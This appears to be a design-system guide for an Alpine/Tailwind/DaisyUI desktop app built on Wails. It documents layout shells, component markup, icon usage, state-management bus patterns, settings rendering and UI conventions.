Panel headerspx-3 py-3 (256-column panels) or px-6 py-3 (main-content headers)
List itempx-2.5 py-2 to px-3 py-2.5
Card bodycard-body p-4
Form sectionsspace-y-4 between fields, space-y-6 between major sections
Section top paddingpy-5 for content areas, py-3 for toolbars
Collapsed navw-16 / w-[64px]
Expanded navw-[220px]
Session panelw-64 (256px) in multi-agent, w-56 (224px) in single-agent
File panelw-72 (288px)
Artifact treew-56 (224px)

3.3 Typography scale

All sizes come from Tailwind defaults. Do not use custom px.

ClassPixelUse
text-[10px]10Micro-labels inside nested artifact trees
text-xs12Meta, timestamps, sub-labels, section headers
text-sm14Default body, form inputs, list item labels
text-base16Content title in header
text-lg18Empty-state headline, page title in detail view
text-xl20Phase title (h2 for active phase/view)
text-2xl24Rare — hero icons, boot screen
text-4xl36Empty-state background icon

Weight conventions: font-medium for item labels, font-semibold for headers, font-bold for h2 page titles.

Font family: Tailwind’s default sans-serif. font-mono for: file paths, artifact IDs (epic/story IDs like E-001), token counts, USD cost, code, raw markdown, session preview paths.

3.4 Radii

ClassPixelUse
rounded4Tight micro-chips
rounded-md / rounded4-6Tight list rows inside trees
rounded-lg8Default for nav items, cards, message bubbles, panels inside content
rounded-xl12Drop zones, larger panels
rounded-2xl16Empty-state icon tiles (w-16 h-16 rounded-2xl)
rounded-full999Status dots, avatars

3.5 Shadows, transitions, motion

  • Default transition on interactive surfaces: transition-colors.
  • Panel enter/exit: transition ease-out duration-150 with an 8px slide + fade.
  • Hover card: transition-shadow + hover:shadow-md on epic cards, hover:border-primary/40 elsewhere.
  • Status pulse: animate-pulse on booting/running indicator dots.
  • Loading spinner: DaisyUI loading loading-spinner, never custom keyframes.
  • loading-dots for chat “thinking” indicator.
  • No parallax, no hero scroll effects, no Framer Motion.

4. Shell archetypes

4.1 Multi-agent horizontal shell

┌─────┬──────────┬─────────────────────────┬────────┐
│ Nav │ Sessions │ Header (wails-drag)     │  Files │
│     │          ├─────────────────────────┤        │
│     │          │ Main content            │        │
│     │          │                         │        │
│     │          │                         │        │
└─────┴──────────┴─────────────────────────┴────────┘
  64px     256px    flex-1                    288px
  (coll.)  (cond.)                           (toggle)

Skeleton:

<body class="bg-base-100 text-base-content">
  <div x-data class="h-screen flex" x-init="$store.shell.init()">
    <nav class="nav-sidebar flex-shrink-0 bg-base-200 border-r border-base-300 flex flex-col h-full"
         :style="{ width: $store.shell.collapsed ? '64px' : '220px' }">...</nav>

    <aside x-show="activeAgent" class="flex-shrink-0 w-64 bg-base-200/50 border-r border-base-300 flex flex-col h-full">
      <!-- Sessions panel -->
    </aside>

    <div class="flex-1 flex flex-col min-w-0 h-full">
      <header class="px-6 py-3 border-b border-base-300 flex items-center gap-3 bg-base-100 wails-drag">...</header>
      <div class="flex-1 flex overflow-hidden relative">
        <main class="flex-1 overflow-hidden relative">...</main>
        <aside x-show="filesOpen" class="flex-shrink-0 w-72 bg-base-200/50 border-l border-base-300 flex flex-col h-full">
          <!-- File panel -->
        </aside>
      </div>
    </div>
  </div>
</body>

Key properties:

  • body { overflow: hidden; } — the UI is not scrolled; individual panels manage their own overflow.
  • Nav width animates via inline CSS transition: .nav-sidebar { transition: width 200ms ease; }.
  • Nav collapse state is persisted in Alpine.store('shell').collapsed.
  • Active-agent switch triggers lazy engine boot via window.go.desktop.Shell.EnsureAgentRunning(agentID).

4.2 Single-agent phased vertical shell

┌──────────────────────────────────────────────────┐
│ ①━②━③━④━⑤━⑥━⑦          [sessions] [⚙]         │  wails-drag
├──────────┬──────────┬────────────────────────────┤
│ Sessions │ Artifacts│ Main content              │
│ (toggle) │ tree     │                            │
│  224px   │  224px   │ flex-1                     │
│          │          │                            │
│          │          ├────────────────────────────┤
│          │          │ Bottom bar                 │
└──────────┴──────────┴────────────────────────────┘

Skeleton:

<div x-data class="h-screen flex flex-col" x-init="$store.reqflow.init()">
  <!-- Top phase stepper bar (wails-drag) -->
  <div class="wails-drag flex-shrink-0 bg-base-200 border-b border-base-300 px-6 py-3">
    <!-- phase chips + toolbar -->
  </div>

  <!-- Body -->
  <div class="flex-1 flex overflow-hidden">
    <aside x-show="showSessions" class="w-56 flex-shrink-0 bg-base-200/50 border-r border-base-300 p-3 overflow-y-auto flex flex-col">...</aside>
    <aside class="w-56 flex-shrink-0 bg-base-200/50 border-r border-base-300 p-3 overflow-y-auto">...</aside>
    <main class="flex-1 flex flex-col overflow-hidden">
      <div class="flex-1 overflow-y-auto p-6">...</div>
      <!-- Bottom action bar -->
      <div class="flex-shrink-0 border-t border-base-300 bg-base-200/50 px-6 py-3 flex items-center justify-between">...</div>
    </main>
  </div>
</div>

4.3 Window dragging

Wails exposes --wails-draggable: drag; as a CSS custom property. Apply via:

.wails-drag { --wails-draggable: drag; }

Put this on the topmost chrome surface only (header bar in horizontal shell, phase stepper bar in vertical shell). Don’t apply it to anything interactive — dragging steals click events.


5. Component catalog

5.1 Buttons

VariantClassUse
Primary actionbtn btn-primary btn-sm“Find matches”, “Generate”, “Send”, “Save”
Outline secondarybtn btn-sm btn-outline“Add Note”, “Next Phase”
Ghostbtn btn-ghost btn-smTertiary actions in toolbars
Icon-only square (sm)btn btn-ghost btn-sm btn-squareHeader toolbar icons (sessions, settings, file toggle)
Icon-only square (xs)btn btn-ghost btn-xs btn-squareIn-row actions (delete, refresh)
Icon-only circle (xs)btn btn-ghost btn-xs btn-circleShow/hide secret toggle
Warningbtn btn-warning btn-sm“Restart agent” when settings are dirty
Destructive hintadd text-error or hover:text-errorDelete buttons
Inside input groupsize matched to the input, e.g. btn btn-ghost btn-sm alongside input-sm

Button size ladder: btn-xs (toolbars, in-row) → btn-sm (default) → btn (rare; used only for page-level CTAs inside empty-state cards like hello-world’s “Say hello”).

Tab/segment group for mode switches (editor/preview):

<div class="btn-group">
  <button class="btn btn-xs" :class="mode === 'split' ? 'btn-active' : ''">
    <i class="fa-solid fa-columns"></i>
  </button>
  <button class="btn btn-xs" :class="mode === 'edit' ? 'btn-active' : ''">
    <i class="fa-solid fa-code"></i>
  </button>
  <button class="btn btn-xs" :class="mode === 'preview' ? 'btn-active' : ''">
    <i class="fa-solid fa-eye"></i>
  </button>
</div>

Button loading state: Swap icon for <span class="loading loading-spinner loading-xs mr-1"></span> while still showing the label.

5.2 Nav / list item

The single most reused pattern in the app. Same shape serves agent nav, session list, file list, artifact rows.

<button
  class="w-full flex items-center gap-3 px-3 py-2.5 rounded-lg transition-colors text-left group"
  :class="isActive
    ? 'bg-primary/15 text-primary'
    : 'hover:bg-base-300 text-base-content/70 hover:text-base-content'">

  <!-- Icon slot with optional status dot -->
  <div class="relative flex-shrink-0 w-8 h-8 rounded-lg flex items-center justify-center"
       :class="isActive ? 'bg-primary/20' : 'bg-base-300 group-hover:bg-base-100'">
    <i class="fa-solid fa-icon text-sm"></i>
    <div x-show="status !== 'idle'"
         class="absolute -bottom-0.5 -right-0.5 w-2.5 h-2.5 rounded-full border-2 border-base-200"
         :class="{
           'bg-success': status === 'running',
           'bg-warning animate-pulse': status === 'booting',
           'bg-error': status === 'error'
         }"></div>
  </div>

  <!-- Labels -->
  <div class="min-w-0 flex-1">
    <div class="text-sm font-medium truncate">Primary label</div>
    <div class="text-xs opacity-50 truncate">Secondary label</div>
  </div>
</button>

Density variants:

  • Artifact tree rows (single-agent): px-2 py-1 rounded text-sm — smaller, no icon slot background.
  • Nested list rows (stories under epics): pl-6 pr-2 py-0.5 rounded text-xs.
  • Session list in multi-agent: uses the group pattern so a delete button appears on hover (opacity-0 group-hover:opacity-50 hover:!opacity-100).

5.3 Cards

Basic container card:

<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
  <div class="card-body p-4">
    <!-- content -->
  </div>
</div>

Grid of cards (epics):

<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
  <div class="card bg-base-200 shadow-sm cursor-pointer hover:shadow-md transition-shadow">
    <div class="card-body p-4">
      <div class="flex items-center gap-2 mb-1">
        <span class="badge badge-primary badge-sm font-mono">E-001</span>
        <h3 class="card-title text-sm">Epic title</h3>
      </div>
      <p class="text-xs text-base-content/50 line-clamp-3">Description excerpt...</p>
      <div class="card-actions justify-end mt-2">
        <span class="text-xs text-base-content/30">5 stories</span>
      </div>
    </div>
  </div>
</div>

Candidate/ranked-result card:

<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
  <div class="card-body p-4">
    <div class="flex items-start gap-3">
      <div class="shrink-0 w-10 h-10 rounded-full bg-primary/10 text-primary flex items-center justify-center font-semibold text-sm">1</div>
      <div class="flex-1 min-w-0">
        <div class="flex items-center gap-2 mb-1">
          <span class="font-semibold text-base truncate">Jane Doe</span>
          <span class="badge badge-sm badge-success">0.92</span>
        </div>
        <p class="text-sm opacity-80">Reasoning...</p>
        <div class="mt-2 text-xs opacity-40 font-mono">/path/to/resume.pdf</div>
      </div>
    </div>
  </div>
</div>

5.4 Badges

UseClass
Count/metabadge badge-sm
Status goodbadge badge-success
Status warningbadge badge-warning
Tiny inline metabadge badge-xs
Epic IDbadge badge-primary font-mono (or badge-sm)
Story IDbadge badge-secondary badge-sm font-mono
Outline referencebadge badge-outline badge-xs
Restart-required nudgebadge badge-warning badge-xs
PRD markerbadge badge-primary badge-xs
Ghost/neutralbadge badge-ghost

Score badges in candidate cards are threshold-driven:

c.Score >= 0.85 ? 'badge-success' : c.Score >= 0.7 ? 'badge-warning' : 'badge-ghost'

5.5 Forms

Text input (small default):

<input type="text" class="input input-bordered input-sm w-full">

Required + empty: add input-warning, with inline hint:

<div x-show="field.required && !hasValue()" class="text-xs text-warning mb-1">
  <i class="fa-solid fa-circle-exclamation"></i> Required
</div>

Number:

<input type="number" class="input input-bordered input-sm w-full"
       :min="field.validation?.min" :max="field.validation?.max">

Textarea:

<textarea class="textarea textarea-bordered w-full min-h-[7rem] text-sm leading-snug" rows="5"></textarea>

Variants: textarea-sm for dense settings; add font-mono text-sm leading-relaxed resize-none for markdown/spec editors.

Select:

<select class="select select-bordered select-sm w-full">
  <option value="...">Label</option>
</select>

Toggle:

<input type="checkbox" class="toggle toggle-primary toggle-sm">

Secret (password) with visibility toggle:

<div class="relative flex-1">
  <input :type="showSecret ? 'text' : 'password'"
         class="input input-bordered input-sm w-full pr-10"
         :placeholder="hasValue() ? '********' : 'Enter value...'"
         @change="saveSecret($event.target.value); $event.target.value = ''">
  <button class="absolute right-2 top-1/2 -translate-y-1/2 btn btn-ghost btn-xs btn-circle"
          @click="showSecret = !showSecret">
    <i class="fa-solid text-xs" :class="showSecret ? 'fa-eye-slash' : 'fa-eye'"></i>
  </button>
</div>

Secret inputs never bind :value — they show placeholder ******** when a value exists, and only commit on @change, clearing the DOM input after save so the raw value never lingers in the DOM.

Path input + browse:

<div class="flex gap-2">
  <input type="text" class="input input-bordered input-sm flex-1"
         :value="currentValue()" @change="save($event.target.value)">
  <button class="btn btn-ghost btn-sm" @click="browse()">
    <i class="fa-solid fa-folder-open text-xs"></i> Browse
  </button>
</div>

The browse() handler calls window.go.desktop.Shell.PickFolder(...) or PickFile(...).

Form label + description:

<label class="block text-sm font-medium mb-1">Display name</label>
<div class="text-xs opacity-50 mb-2">Optional description.</div>

5.6 Alerts

KindClassUse
Erroralert alert-error py-2 text-smRuntime errors, validation failures
Warningalert alert-warningMissing required settings banner
Success / info / neutralalert alert-success / alert alert-infoNot currently used — reserve for future

Standard error shape:

<div class="alert alert-error py-2 text-sm">
  <i class="fa-solid fa-triangle-exclamation"></i>
  <span>Error message</span>
</div>

5.7 Collapsible sections (settings)

DaisyUI collapse with arrow, open by default:

<div class="collapse collapse-arrow bg-base-200 border border-base-300">
  <input type="checkbox" checked>
  <div class="collapse-title font-semibold flex items-center gap-2">
    <i class="fa-solid fa-sliders text-sm opacity-60"></i>
    Section title
    <span class="badge badge-warning badge-xs ml-2">restart required</span>
  </div>
  <div class="collapse-content space-y-4">
    <!-- fields -->
  </div>
</div>

Highlight a collapse when it has missing required fields: :class="missingRequired ? 'border-warning' : ''".

5.8 Empty states

Primary pattern (main content area):

<div class="flex items-center justify-center h-full">
  <div class="text-center max-w-sm">
    <div class="w-16 h-16 rounded-2xl bg-primary/10 flex items-center justify-center mx-auto mb-4">
      <i class="fa-solid fa-magnifying-glass text-primary text-xl"></i>
    </div>
    <h2 class="text-lg font-semibold mb-1">No matches yet</h2>
    <p class="text-sm opacity-60">Upload a PDF and click Find matches.</p>
  </div>
</div>

Muted variant (used in phases 1–7 of single-agent shell): drops the tinted icon tile and uses a large low-opacity glyph:

<div class="flex-1 flex items-center justify-center">
  <div class="text-center text-base-content/30 max-w-md">
    <i class="fa-solid fa-file-code text-4xl mb-4 block"></i>
    <p class="font-medium mb-2">No specification yet</p>
    <p class="text-sm mb-4">Generate from your PRD and discussion notes.</p>
    <button class="btn btn-primary btn-sm"><i class="fa-solid fa-wand-magic-sparkles mr-1"></i> Generate Spec</button>
  </div>
</div>

Compact (narrow panels, file list empty):

<div class="text-center">
  <i class="fa-solid fa-file-circle-plus text-2xl opacity-20 mb-2"></i>
  <p class="text-xs opacity-40">No files found</p>
  <p class="text-xs opacity-30 mt-1">Drop files here or add to input folder.</p>
</div>

5.9 Loading states

UseClass
Inline spinner in buttonloading loading-spinner loading-xs mr-1
Panel-level spinnerloading loading-spinner loading-sm opacity-40
Hero / full-screen spinnerloading loading-spinner loading-lg text-primary
Chat “thinking…”loading loading-dots loading-sm

Boot overlay (covers a section while the engine is starting):

<div x-show="status === 'booting'"
     x-transition
     class="absolute inset-0 flex items-center justify-center bg-base-100/80 z-10">
  <div class="text-center">
    <span class="loading loading-spinner loading-lg text-primary"></span>
    <p class="mt-3 text-sm opacity-60">Starting engine...</p>
  </div>
</div>

Generation overlay (long-running content creation):

<div class="flex-1 flex items-center justify-center">
  <div class="text-center">
    <span class="loading loading-spinner loading-lg text-primary"></span>
    <p class="mt-4 text-base-content/60">Generating timeline estimates...</p>
    <p class="text-sm text-base-content/30 mt-1">Analyzing epics and stories</p>
  </div>
</div>

5.10 Chat / conversation

Layout:

<div class="flex gap-3" :class="msg.role === 'user' ? 'justify-end' : ''">
  <!-- Avatar (non-user only) -->
  <div x-show="msg.role !== 'user'"
       class="w-8 h-8 rounded-full flex items-center justify-center flex-shrink-0"
       :class="msg.role === 'note' ? 'bg-warning/20' : 'bg-primary/20'">
    <i class="text-xs" :class="msg.role === 'note'
      ? 'fa-solid fa-sticky-note text-warning'
      : 'fa-solid fa-robot text-primary'"></i>
  </div>
  <!-- Bubble -->
  <div class="max-w-[75%] rounded-lg px-4 py-3"
       :class="{
         'bg-primary text-primary-content': msg.role === 'user',
         'bg-base-200': msg.role === 'assistant',
         'bg-warning/10 border border-warning/20': msg.role === 'note'
       }">
    <div x-show="msg.role === 'note'" class="text-xs font-semibold text-warning/70 mb-1">Technical Note</div>
    <div class="text-sm whitespace-pre-wrap doc-preview" x-text="msg.content"></div>
  </div>
  <!-- Avatar (user) -->
  <div x-show="msg.role === 'user'"
       class="w-8 h-8 rounded-full bg-primary/20 flex items-center justify-center flex-shrink-0">
    <i class="fa-solid fa-user text-xs text-primary"></i>
  </div>
</div>

Auto-scroll to bottom:

<div x-ref="chatScroll"
     x-effect="$refs.chatScroll && ($refs.chatScroll.scrollTop = $refs.chatScroll.scrollHeight)"
     class="flex-1 overflow-y-auto space-y-4 mb-4 pr-2">...</div>

Chat input with Cmd/Ctrl+Enter send:

<div class="flex gap-2">
  <textarea class="textarea textarea-bordered flex-1 text-sm" rows="2"
            placeholder="..."
            @keydown.enter.meta="send()" @keydown.enter.ctrl="send()"></textarea>
  <button class="btn btn-primary btn-sm self-end">
    <i class="fa-solid fa-paper-plane"></i>
  </button>
</div>
<div class="text-xs text-base-content/30 mt-1">Cmd+Enter to send</div>

5.11 Phase stepper

<div class="flex items-center gap-1">
  <template x-for="phase in phases" :key="phase.number">
    <div class="flex items-center">
      <button class="phase-step flex items-center gap-2 px-3 py-1.5 rounded-lg text-sm font-medium transition-colors"
        :class="{
          'active bg-primary text-primary-content': phase.number === current,
          'bg-success/20 text-success': phase.number < current,
          'text-base-content/40 cursor-default': phase.number > current
        }"
        :disabled="phase.number > current"
        @click="phase.number < current && goToPhase(phase.number)">
        <span class="w-5 h-5 rounded-full flex items-center justify-center text-xs font-bold"
              :class="{
                'bg-primary-content/20': phase.number === current,
                'bg-success/30': phase.number < current,
                'bg-base-300': phase.number > current
              }"
              x-text="phase.number < current ? '✓' : phase.number">
        </span>
        <span x-text="phase.label" class="hidden sm:inline"></span>
      </button>
      <div x-show="phase.number < phases.length"
           class="w-4 h-0.5 mx-0.5"
           :class="phase.number < current ? 'bg-success/40' : 'bg-base-300'"></div>
    </div>
  </template>
</div>

Supporting CSS:

.phase-step { transition: all 200ms ease; }
.phase-step.active { transform: scale(1.05); }

Rules:

  • Future phases are disabled, cursor-default, at 40% opacity.
  • Completed phases are green (bg-success/20 text-success) with a ✓.
  • Active phase is primary-filled and slightly scaled up.
  • Connectors between steps mirror step state.

5.12 Drag-and-drop

Overlay on a panel while dragging:

<aside @dragover.prevent="dragOver = true"
       @dragleave.prevent="dragOver = false"
       @drop.prevent="handleDrop($event)"
       class="relative ...">
  <div x-show="dragOver" x-transition
       class="absolute inset-0 z-20 bg-primary/10 border-2 border-dashed border-primary rounded-lg flex items-center justify-center pointer-events-none">
    <div class="text-center">
      <i class="fa-solid fa-cloud-arrow-up text-primary text-2xl mb-2"></i>
      <p class="text-sm font-medium text-primary">Drop files here</p>
    </div>
  </div>
</aside>

Persistent drop zone (centerpiece of a page):

<div x-data="{ dragOver: false }"
     class="border-2 border-dashed border-base-300 rounded-xl p-8 text-center transition-all"
     :class="{ 'drop-active': dragOver }"
     @dragover.prevent="dragOver = true"
     @dragleave.prevent="dragOver = false"
     @drop.prevent="dragOver = false; handleDrop($event)">
  <i class="fa-solid fa-cloud-arrow-up text-4xl text-base-content/20 mb-4 block"></i>
  <p class="text-base-content/40 mb-3">Drop markdown files here</p>
  <button class="btn btn-sm btn-primary"><i class="fa-solid fa-folder-open mr-1"></i> Browse Files</button>
  <p class="text-xs text-base-content/30 mt-3">Supports .md, .markdown, .txt</p>
</div>

Supporting CSS (drop-active emphasis):

.drop-active {
  border-color: oklch(var(--p)) !important;
  background-color: oklch(var(--p) / 0.05);
}

5.13 Markdown preview

Content rendered via doc-preview class gets basic markdown styling:

.doc-preview h1 { font-size: 1.5rem; font-weight: 700; margin: 1rem 0 0.5rem; }
.doc-preview h2 { font-size: 1.25rem; font-weight: 600; margin: 0.75rem 0 0.5rem; }
.doc-preview h3 { font-size: 1.1rem; font-weight: 600; margin: 0.5rem 0 0.25rem; }
.doc-preview p { margin: 0.25rem 0; }
.doc-preview ul, .doc-preview ol { padding-left: 1.5rem; margin: 0.25rem 0; }
.doc-preview li { margin: 0.1rem 0; }
.doc-preview code { background: oklch(var(--b3)); padding: 0.1rem 0.3rem; border-radius: 0.25rem; font-size: 0.875rem; }
.doc-preview pre { background: oklch(var(--b3)); padding: 0.75rem; border-radius: 0.5rem; overflow-x: auto; }
.doc-preview pre code { background: none; padding: 0; }
.doc-preview hr { border-color: oklch(var(--bc) / 0.1); margin: 1rem 0; }
.doc-preview blockquote { border-left: 3px solid oklch(var(--bc) / 0.2); padding-left: 1rem; opacity: 0.8; }

Use oklch(var(--*)) to reference DaisyUI theme variables directly: --p (primary), --b3 (base-300), --bc (base-content), etc. This is the only place in the system where CSS custom property access is routine.

5.14 Split editor / preview

Three-mode toggle (split/edit/preview) + synchronized textarea and preview pane:

<div class="flex-1 flex gap-4 min-h-0 overflow-hidden">
  <div x-show="viewMode !== 'preview'"
       class="flex-1 flex flex-col min-h-0"
       :class="viewMode === 'split' ? 'max-w-[50%]' : ''">
    <div class="flex items-center justify-between mb-2">
      <span class="text-xs font-semibold text-base-content/50 uppercase tracking-wider">Editor</span>
      <span x-show="dirty" class="text-xs text-warning">
        <i class="fa-solid fa-circle text-[6px] mr-1"></i>Unsaved
      </span>
    </div>
    <textarea class="textarea textarea-bordered flex-1 font-mono text-sm leading-relaxed resize-none"
              x-model="editContent"
              @input="dirty = true"
              @blur="saveEdit()"
              @keydown.meta.s.prevent="saveEdit()"
              @keydown.ctrl.s.prevent="saveEdit()"></textarea>
  </div>
  <div x-show="viewMode !== 'edit'"
       class="flex-1 flex flex-col min-h-0"
       :class="viewMode === 'split' ? 'max-w-[50%]' : ''">
    <div class="flex items-center mb-2">
      <span class="text-xs font-semibold text-base-content/50 uppercase tracking-wider">Preview</span>
    </div>
    <div class="flex-1 overflow-y-auto bg-base-200 rounded-lg p-4 doc-preview">
      <div x-html="renderPreview()"></div>
    </div>
  </div>
</div>

5.15 Bottom action bar (single-agent only)

<div class="flex-shrink-0 border-t border-base-300 bg-base-200/50 px-6 py-3 flex items-center justify-between">
  <span x-show="status" x-text="status" class="text-sm text-base-content/60"></span>
  <button class="btn btn-sm btn-outline" :disabled="phase >= phases.length" @click="advance()">
    Next Phase <i class="fa-solid fa-chevron-right ml-1"></i>
  </button>
</div>

5.16 Copy-to-clipboard button

<button class="btn btn-ghost btn-xs" @click="copyToClipboard()">
  <i class="fa-solid fa-copy mr-1"></i>
  <span x-text="copied ? 'Copied!' : 'Copy'"></span>
</button>

Toggle the copied flag to true for ~1.5s after success, then reset.

5.17 Tabs (in-content)

The comms phase uses a button-row “tabs” pattern rather than DaisyUI’s tabs component:

<div class="flex gap-1 mb-3 flex-shrink-0">
  <template x-for="item in items" :key="item.template">
    <button class="btn btn-xs"
            :class="selected === item.template ? 'btn-primary' : 'btn-ghost'"
            @click="selected = item.template"
            x-text="item.title"></button>
  </template>
</div>

6. Font Awesome icon inventory

Every icon that appears in the shipped apps, grouped by role. Use these first before reaching for alternatives.

App/brand: fa-bolt (Nexus logo)

Nav/chrome: fa-gear, fa-angles-left, fa-angles-right, fa-xmark, fa-plus, fa-chevron-right, fa-arrow-left, fa-rotate-right, fa-arrows-rotate

Files: fa-folder-open, fa-folder, fa-folder-plus, fa-file, fa-file-lines, fa-file-code, fa-file-circle-plus, fa-paperclip, fa-cloud-arrow-up, fa-arrow-up-right-from-square (open external)

Chat / communication: fa-comments, fa-paper-plane, fa-robot, fa-user, fa-sticky-note, fa-bullhorn

Generation / action: fa-wand-magic-sparkles, fa-magnifying-glass, fa-copy

Workflow: fa-layer-group (epics), fa-list-check (stories), fa-calendar-days (timeline)

Settings/fields: fa-sliders, fa-eye, fa-eye-slash, fa-trash-can, fa-circle-exclamation, fa-triangle-exclamation, fa-circle (tiny marker dot)

Edit/view mode toggle: fa-code, fa-columns, fa-eye

Session / history: fa-clock-rotate-left

Always fa-solid (solid style). All icons are the free tier — don’t introduce Pro-only glyphs. Sizing is driven by the wrapping element, not fa-* size classes; use text-xs, text-sm, text-lg, text-2xl, text-4xl on the <i>.


7. State management patterns

Alpine stores are the state spine. No Redux, no Pinia, no context API.

7.1 Store declaration

document.addEventListener('alpine:init', () => {
  Alpine.store('storename', {
    // reactive state
    items: [],
    loading: false,

    // methods
    async init() { ... },
    async load() { ... },
  });
});

7.2 Scoped bus bridge

Every agent’s UI talks to its engine via createBus(agentID) — a thin wrapper over Wails events with scoping:

const bus = createBus('agent-id');
bus.emit('domain.request', { data });
bus.on('domain.result', (payload) => { /* handle */ });
bus.off('domain.result', handler);
await bus.call('req.request', 'req.response', payload, timeoutMs);

Outbound channel: {agentID}:nexus (engine → UI). Inbound channel: {agentID}:nexus.input (UI → engine). Envelope: { type: "event.name", payload: {...}, timestamp: "ISO" }.

7.3 Wails-bound shell services

The shell (pkg/desktop/shell.go) exposes Wails methods directly on window.go.desktop.Shell.* — these are the only places UI calls non-bus APIs:

MethodPurpose
ListAgents()Enumerate agents with current status
EnsureAgentRunning(agentID)Lazy boot
StopAgent(agentID)Stop engine
NewSession(agentID) / RecallSession(agentID, sessionID) / ListSessions(agentID) / DeleteSession(agentID, sessionID)Session ops
PickFile(agentID, title, filter) / PickFolder(agentID, title)Native dialogs
OpenExternal(url) / RevealInFinder(path) / Notify(title, body)OS integration
ListFiles(agentID, filter) / OutputDir(agentID) / CopyFileToInputDir(agentID, sourcePath) / WatchInputDir(agentID)File portal
GetSettingsSchema() / GetSettings() / UpdateSetting(scope, key, value) / UpdateSecret(scope, key, value) / DeleteSetting(scope, key, secret) / HasMissingRequired()Settings

Rule: shell services are only called from the UI layer; agents communicate with the shell via bus events, not by invoking these methods.

7.4 Settings schema → UI rendering

The shell returns a settings schema with fields like:

{
  "shell": [{ "key": "shared_data_dir", "display": "Shared data folder", "type": "path" }],
  "agents": {
    "my-agent": [
      { "key": "input_dir", "display": "Input folder", "type": "path", "required": true },
      { "key": "api_key", "display": "API key", "type": "string", "secret": true, "required": true }
    ]
  }
}

Types and their rendering:

typeRecipe
stringinput input-bordered input-sm (or secret variant if secret: true)
pathinput + browse button calling PickFolder/PickFile
numberinput type=number with optional min/max from validation
booltoggle toggle-primary toggle-sm
selectselect select-bordered select-sm with field.options
texttextarea textarea-bordered textarea-sm min-h-[6rem]

Secrets never render a current value — just ******** placeholder when present.

7.5 Session list

Sessions are tracked per agent. The shell emits {agentID}:sessions.updated via Wails events (not through the bus bridge) when the list changes. Session metadata includes:

  • id, title (from session.meta.title event), created_at, status, preview (arbitrary JSON from session.meta.preview event)

Session-list rendering uses the standard nav/list-item pattern (§5.2) with a status dot, title, timestamp, and optional preview line.

7.6 UI state persistence

Two bus events drive cross-session UI state:

  • ui.state.save — UI emits with opaque { state: {...} } payload. Shell writes to ui-state.json in the engine session dir.
  • ui.state.restore — Shell emits on session recall. UI rehydrates.

Designs that have non-trivial UI state (partially filled forms, scroll positions, expanded panels, active tab) should persist + rehydrate via these events. Keep the payload JSON-serializable and opaque to the shell.


8. Interaction and accessibility patterns

8.1 Keyboard

  • Cmd+Enter / Ctrl+Enter — submit in chat textareas (@keydown.enter.meta, @keydown.enter.ctrl)
  • Cmd+S / Ctrl+S — save in spec/timeline editors (@keydown.meta.s.prevent, @keydown.ctrl.s.prevent)
  • Enter — submit in single-line inputs (hello world)
  • No global shortcuts currently.

Show hints inline as text-xs opacity-30 or text-xs text-base-content/30 mt-1.

8.2 Hover reveal

Destructive or secondary in-row actions hide by default, appear on hover of the parent .group:

<div class="group ...">
  <span>Content</span>
  <button class="btn btn-ghost btn-xs btn-square opacity-0 group-hover:opacity-50 hover:!opacity-100 hover:text-error">
    <i class="fa-solid fa-xmark text-xs"></i>
  </button>
</div>

8.3 Transitions

Side panel enter/exit (left panel):

x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0 -translate-x-2"
x-transition:enter-end="opacity-100 translate-x-0"

For right-side panels, reverse the translate (translate-x-2). For vertical reveals (add-note input), use default x-transition for a simple fade/slide.

8.4 Titles and tooltips

Native title attribute is the standard tooltip. No tooltip library is used.

<button title="Refresh file list">...</button>

8.5 Required-field gating

Shell’s HasMissingRequired() returns a map of agentID → [missingKeys]. Pattern:

  1. Top-of-settings banner: alert alert-warning summarizing “Required settings missing”.
  2. On the offending collapse: :class="missing ? 'border-warning' : ''".
  3. On the field: input-warning class + inline “Required” hint.
  4. Agents with missing required settings cannot boot — nav-click routes to settings instead.

8.6 Dirty / unsaved

  • Textarea-based editors track a dirty flag set on @input, cleared on @blur / save.
  • Display inline text-xs text-warning with a <i class="fa-solid fa-circle text-[6px] mr-1"></i> dot.
  • Show a Save button (btn btn-xs btn-primary) only when dirty.

8.7 Restart required

When a running agent has changed settings:

  • Badge in section title: badge badge-warning badge-xs ml-2 “restart required”
  • Restart button at bottom of section: btn btn-warning btn-sm with fa-rotate-right icon

9. Multi-agent vs single-agent — differences at a glance

ConcernMulti-agent (cmd/desktop)Single-agent (cmd/techlead)
Primary navigationLeft nav, lazy engine bootTop phase stepper bar
Session listDedicated left panel, always visible when agent activeToggleable panel, opt-in
File browserRight toggleable panel (shell feature)Integrated into phase 1 import UI
SettingsDedicated view in main, triggered from navModal-ish overlay on main, triggered from toolbar
Agent bootMultiple engines, one per agent, lazySingle engine, boots on init
Next actionUser-driven per agent“Next Phase” button in bottom action bar
ProgressionNot ordered — user picks agentOrdered — phase N unlocks when N-1 complete
ArtifactsOpaque — agents render their own sectionsShared artifact tree in left sidebar

When extending multi-agent: check whether the feature is in-session (both kinds of shell) or wrapper (desktop shell only). See the CLAUDE.md parity rule.

When extending single-agent: new phases should follow the existing N-ary pattern — empty state → generating state → content → edit mode → unsaved indicator.


10. Opinionated “what NOT to do” list

  • No new frameworks. Alpine + Tailwind + DaisyUI is the full toolbox. No React, Vue, Svelte, jQuery, Lodash, etc.
  • No light theme unless explicitly requested — dark theme is the reference experience.
  • No raw gray scales. Use opacity-* on text-base-content / border-base-300 etc.
  • No modals or dialogs in the absence of a strong reason. Prefer inline reveals, collapsibles, side panels, or dedicated views.
  • No routing. Views switch via x-show driven by a store property.
  • No animations beyond utility. DaisyUI animate-pulse + 150ms panel slides are the entire vocabulary.
  • No custom icon sets. Font Awesome 6 solid free only.
  • No responsive / mobile layouts. Desktop-only, min ~900×720.
  • No font imports. Stick to the system/Tailwind default font stack.
  • No toasts/snackbars. Errors go in alert or inline. Success is silent or a tiny inline “Copied!”.
  • No component abstractions until a pattern is used three times. Inline the classes.

11. Extensibility hooks

When Claude Design proposes something new, validate against these hooks so it slots into the real system:

  • Is it a bus event or a Wails-bound shell method? If it changes agent state, design around an event round-trip (request → response). If it asks the OS or shell, call a window.go.desktop.Shell.* method.
  • Does it need session-recall persistence? If yes, design the UI state payload and plan on ui.state.save/ui.state.restore.
  • Does it touch files? Use the shell’s file portal (input_dir, output_dir, ListFiles, PickFile). Don’t design a bespoke file picker.
  • Does it share with another agent? If yes, it probably belongs in pkg/ui/ shared code, not a single app.
